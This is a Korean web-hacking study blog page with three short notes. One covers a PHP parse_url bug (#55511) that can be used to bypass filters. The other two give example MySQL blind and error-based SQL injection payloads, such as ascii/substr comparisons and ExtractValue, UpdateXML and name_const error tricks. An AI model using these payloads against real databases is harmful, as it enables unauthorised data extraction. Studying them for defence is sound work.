'Web/공부'에 해당되는 글 3건

반응형

https://bugs.php.net/bug.php?id=55511


위에 링크를 참조하자.



이 버그는 php쪽에서 접수를 받았음에도 처리가 안되었다고 한다. (묵살)



어떻게 발생하는 버그인지 알아보도록 하자!




 $url = parse_url($_SERVER['REQUEST_URI']);


위와 같은 php 구문이 있다고 보고 분석을 해보자.




먼저 $_SEVER['REQUEST_URI'] 는 $_SERVER['QUERY_STRING']과 같은(?) 역할을 하는데,


QUERY_STRING은 GET인자로 넘길 때 ?뒤에 값들을 전부 리턴하고


REQUEST_URI도 ?뒤에 값들을 전부 리턴한다.



근데 문제는 parse_url에서 발생한다.


이 함수는 URL을 parse하기위해 만들어진 함수라서 최대한 URL형태로 보고 parse한다고 한다.


거기서 발생하는 버그이다.



parse_url함수는 parse실패시 false를 반환하게 된다는 점이다.


만약 필터링을 하는 곳에서 parse_url함수를 사용한다면 얼마든지 우회가 가능하며,


사용을 하지 말아야할 함수 중 하나다.

'Web > 공부' 카테고리의 다른 글

Blind SQL Injection  (0) 2014.10.31
Error Based SQL Injection  (0) 2014.10.31
블로그 이미지

KuroNeko_

KuroNeko

,

Blind SQL Injection

Web/공부 2014. 10. 31. 21:06
반응형

사용될 때

- 쿼리구문의 취약점이 발견되었고 union select의 사용이 막히면 데이터 추출을 위해 사용된다.


효율

- 시간이 오래 걸리지만 데이터 추출을 정확하다.


Ex)

Select id,pw from member where id='admin' and if((select ascii(substr(id,1,1)) from member)=20,true, false)


ascii는 ord나 char로 대체가능

substr은 right(left(id,1),1)로 대체가능

'Web > 공부' 카테고리의 다른 글

parse_url($_SERVER[REQUEST_URI]) [ php bug #55511]  (0) 2016.05.02
Error Based SQL Injection  (0) 2014.10.31
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

사용될때

- 어떤 DB에러가 발생하는지 보여지면 사용된다. 한정된 상황에서 쓰임(SQL에러가 보일때 만)


효율

- Blind Sql Injection보다 더 효율적으로 사용된다.


Ex)


select * from (select name_const(version(),1),name_const(version(),1))a

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

'Web > 공부' 카테고리의 다른 글

parse_url($_SERVER[REQUEST_URI]) [ php bug #55511]  (0) 2016.05.02
Blind SQL Injection  (0) 2014.10.31
블로그 이미지

KuroNeko_

KuroNeko

,